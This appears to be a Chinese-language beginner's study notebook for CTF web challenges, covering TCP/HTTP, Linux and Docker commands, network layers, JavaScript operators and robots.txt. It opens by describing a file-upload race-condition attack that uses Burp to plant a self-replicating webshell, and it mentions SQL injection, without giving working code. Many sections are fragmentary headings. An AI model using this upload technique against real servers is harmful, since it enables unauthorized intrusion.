原理:服务器会将不合格的上传文档删掉,只要黑客上传够多够及时,趁着服务器没反应过来,也能成功植入木马。
方法:感觉这种题比较冷门,简单介绍一下啊。基本思路就是用Bp攻击,上传可以自我繁殖的木马,然后访问。就不详细介绍了,网上找到图片教程如下:
HTTP和TCP协议
- TCP 属于 传输层协议(Transport Layer Protocol),在 OSI 模型的第 4 层或 TCP/IP 模型的传输层。
- HTTP 属于 应用层协议(Application Layer Protocol),在 OSI 模型的第 7 层或 TCP/IP 模型的应用层。
TCP 的作用
TCP 是一种传输层协议,主要负责:
- 可靠的数据传输:通过确认机制、重传机制、数据排序等方式,确保数据能够完整无误地从发送方传输到接收方。
- 流量控制:防止发送方发送数据过快导致接收方无法处理。
- 拥塞控制:避免网络拥堵,保证网络的稳定性。
- 建立连接:通过三次握手建立连接,四次挥手断开连接。
- 提供端到端通信:通过 IP 地址和端口号标识通信的两端。
TCP 关注的是“如何将数据从一端可靠地传输到另一端”,而不是关心数据的具体内容。
HTTP 的作用
HTTP 是一种应用层协议,主要负责:
- 定义客户端和服务器之间的通信规则:例如,浏览器(客户端)如何向 Web 服务器请求网页,服务器如何响应这些请求。
- 请求/响应模式:客户端发送请求(Request),服务器返回响应(Response)。
- 数据格式:HTTP 定义了请求和响应的格式,例如 URL、状态码(如 200、404)、头部字段(Headers)、消息体(Body)等。
- 支持多种操作:GET(获取资源)、POST(提交数据)、PUT(更新资源)、DELETE(删除资源)等。
HTTP 关注的是“如何在客户端和服务器之间交换信息”,而不关心底层如何传输数据。
- TCP 是面向连接的协议,通信之前需要通过三次握手建立连接,通信结束后通过四次挥手断开连接。
- HTTP 是基于请求/响应模式的协议,通常是无状态的(即每个请求独立,不依赖之前的请求)。虽然 HTTP/1.1 引入了持久连接(Keep-Alive),但本质上仍然是一种无状态协议。
4. 数据封装的关系
在网络通信中,HTTP 数据会被封装到 TCP 数据包中进行传输:
- 应用层:HTTP 协议生成请求或响应数据。
- 传输层:HTTP 数据被封装到 TCP 数据段中。
- 网络层:TCP 数据段再被封装到 IP 数据包中。
- 链路层:IP 数据包进一步封装为帧,最终通过物理网络传输。
因此,TCP 是 HTTP 的底层传输协议,HTTP 借助 TCP 实现数据的可靠传输。
LINUX基础
/etc 主要用于存放系统的配置文件
命令
ls 当前目录 ls .
cat /flag
cd ../ 上一级目录 cd -
pwd 显示当前工作目录的路径
find命令 (查看文件)
匹配文件名
find / - name *.conf
/的意思是根目录,就是在系统全部内容寻找
Docker
docker和虚拟机,服务器 (一般都是linux系统)本质上差不多,都是一个系统
查看docker的状态
systemctl status docker /查看状态 ssh也可以 就是 systemctl status docker
打开docker
systemctl status docker
设置开机自动启动
systemctl enable docker
docker基础操作
列出镜像
docker image ls -a = docker images
拉取镜像
有时候会有一串
是本地没有这个镜像,等一会就拉取成功
删除镜像
docker容器操作
创建容器
docker run [option] 镜像名
把下面的参数 替换到上面的[option]
docker run -i hello-world
docker run -dit --name=mycentos3 centos
docker run -it --name=mycentos centos /bin/bash/
就是开启一个centOS 的环境
守护式容器
退出后不停止
进入容器
docker exec -it 容器名
进来就可以继续使用命令
将容器保存为镜像
docker commit 容器名 镜像名
拿到镜像后
使用load 将镜像加载到本地
docker load -i ./centos.tar
容器加速器

网络协议分层
TCP (传输层控制协议)
UDP (只负责发)
端口
(标签页是指网页)
这里就知道了为什么看 ipconfig 的时候是 ipv4
数据链路层
物理层
网络层
IP和MAC
路由器也有网卡,主机和服务器之间是通过MAC来通信传输
IP
HTTP
#是个锚点
在get型sql注入时不能用#
HTTP
请求行
请求头是一系列如 cookie refer 等信息
请求方式
请求头部
GET 和 POST
HTTP响应
200是OK
文件上传
HTTP和HTTPS
JavaScript
变量
数据类型
数字型
正数,负数,整数,小数
字符串类型
为了避免误会,使用转义字符来表示
比如 "JavaScr \ "ipt"
null
JS语法
1.赋值运算
2.算数运算符
3.自增运算符
i++就是先将i的值赋值给j,再加1
j是10,i加完是11
先i+1 就是11 然后赋值给j j就是11
4. 自减运算符
i--
先将i的值赋值给j ,j就是10,然后i减1 ,i就是9
--i
先将i的值减1,i就是9.然后再赋值给 j ,j就是9
5.字符串运算符
== 是弱相等 ,值相等就可
=== 是强相等 , 数据类型和值都应该相等
6.逻辑运算符
&& 同真才真
|| 有真即真
! 非 取反
7.三元运算符
robots.txt
robots.txt 文件是放置在网站根目录下的一个文本文件,用于告知网络爬虫(如搜索引擎的爬虫)该网站中哪些内容可以被抓取,哪些不可以。这个文件遵循一定的格式,通过它网站管理员可以控制搜索引擎蜘蛛对网站的访问方式。
基本格式如下:
深色版本
User-agent: *
Disallow: /
User-agent行指定了这份规则适用于哪个或哪些爬虫。星号*表示此规则适用于所有爬虫。Disallow行则列出了禁止爬虫访问的路径。在这个例子中,/表示整个网站都不允许爬虫访问。

浙公网安备 33010602011771号